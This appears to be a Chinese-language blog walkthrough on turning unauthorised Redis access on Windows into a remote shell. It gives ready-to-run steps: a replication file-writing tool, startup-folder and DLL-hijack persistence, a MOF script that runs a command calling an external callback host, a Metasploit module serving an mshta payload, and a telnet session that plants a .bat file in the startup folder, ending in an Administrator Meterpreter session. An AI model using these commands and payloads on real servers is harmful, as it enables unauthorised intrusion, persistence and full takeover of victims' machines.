windows环境下redis getshell

月影
2023-07-12 / 0 评论 / 36 阅读 / 正在检测是否收录...

前言

之前已经介绍了未授权访问的4种利用方式,这里再介绍一下4种利用方式的一些存在问题及绕过方式。

linux写shell很容易,但是windows的计划任务文件不是以文本格式保存在固定位置的,并且若利用写木马的方式要求该服务器开启了web服务;而windows的最新redis版本只有3.2也无法利用主从getshell;同时没有ssh服务。因此只有可能通过直接写shell的方式了。

0x01 写无损文件

redis直接写数据会携带脏数据,要想getshell可能要求你写二进制文件等,这时候我们可以利用主从复制写无损数据进去,可利用工具

https://github.com/r35tart/RedisWriteFile

命令如下

python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]

0x02 getshell

1.存在web

理想情况若存在web网站,可以直接写木马进行反连。

2.启动项

windows中可以利用系统服务、计划任务、注册表启动项,用户的startup目录进行自启动。而只有startup方式可以精准的向固定目录写文件。

C:Users/[username]/AppData/Roaming/Microsoft/Windows/Start/Men/Programs/Startup

这里如果猜测用户名成功即可写入文件,当然需要用户重启才能启动。

3.篡改&劫持

系统DLL劫持(需要目标重启或注销)
针对特定软件的DLL劫持(需要知道软件的绝对路径,需要目标一次点击)
覆写目标的快捷方式(需要知道用户名,需要目标一次点击)
覆写特定软件的配置文件达到提权目的(目标无需点击或一次点击,主要看是什么软件)
覆写sethc.exe粘滞键(需要可以登录3389)
 
#上面涉及系统目录的操作,前提是Redis权限很高,不然没戏。

比较通用的方法是向system32目录下写文件,但NT6及以上操作系统的UAC必须关掉,或Redis以SYSTEM权限启动,否则脚本显示成功但实际上是无法写入的。

4.mof

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:C:/windows/system32/wbem/mof/nullevt.mof,其作用是每隔五秒就会去监控进程创建和死亡。但这个默认5秒执行一次的设定只有03及以下系统才会有.....

例如如下脚本执行时会执行系统命令:

#pragma namespace("\\.\root\subscription") 
 
instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa "Win32_LocalTime" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 
 
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject("WScript.Shell")
WSH.run("ping sfas.g9bubn.ceye.io ")"; 
}; 
 
instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

将其保存为nullevt.mof并写入C:/windows/system32/wbem/mof路径下,而且由于03没有默认UAC的控制,只要权限够就可以直接写入。

5.PS_shell.rb

这里我们要用到PS_shell.rb这个脚本,下载地址如下:

https://github.com/starnightcyber/CVE-2017-11882/edit/master/PS_shell.rb

下载脚本放到/usr/share/metasploit-framework/modules/exploits/windows/目录下。

执行命令:

reload_all

加载攻击脚本,然后执行如下命令:

msf > use exploit/windows/PS_shell
msf exploit(windows/PS_shell) > options
Module options (exploit/windows/PS_shell):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(windows/PS_shell) > set uripath 123
uripath => 123
msf exploit(windows/PS_shell) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.107.10.77:4444
msf exploit(windows/PS_shell) > [*] Using URL: http://0.0.0.0:8080/123
[*] Local IP: http://10.107.10.77:8080/123
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://10.107.10.77:8080/123"

从以上结果来看我们只需要执行mshta.exe "http://10.107.10.77:8080/123"这个命令就可以得到一个反弹的shell了。

6.bat启动项重启反弹shell

在bat中每一行当做一条命令执行。这里我们需要换行,换行也要注意的是。这里要用到\r\n,而且一个\r\n是不行的。这里我们用两个或多个\r\n来进行换行。

未授权连接到redis,执行如下命令:

root@kali:~# telnet 10.107.11.76 6379
Trying 10.107.11.76...
Connected to 10.107.11.76.
Escape character is '^]'.
config set dir "C://Users//Administrator//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//startup"
+OK
config set dbfilename 1.bat
+OK
config set dbfilename 1.bat
+OK
set x "\r\n\r\nmshta http://10.107.10.77:8080/123\r\n\r\n"
+OK
save
+OK

我们这边手动重启靶机,就可以反弹一个shell了。

msf exploit(windows/PS_shell) >
[*] 10.107.11.76 PS_shell - Delivering payload
[*] Sending stage (179779 bytes) to 10.107.11.76
[*] Meterpreter session 5 opened (10.107.10.77:4444 -> 10.107.11.76:49160) at 2018-07-30 23:05:42 -0400
sessions -i 5
[*] Starting interaction with 5...
meterpreter > getuid
Server username: WIN-HMRM0QMQ2QQ\Administrator
0

评论 (0)

取消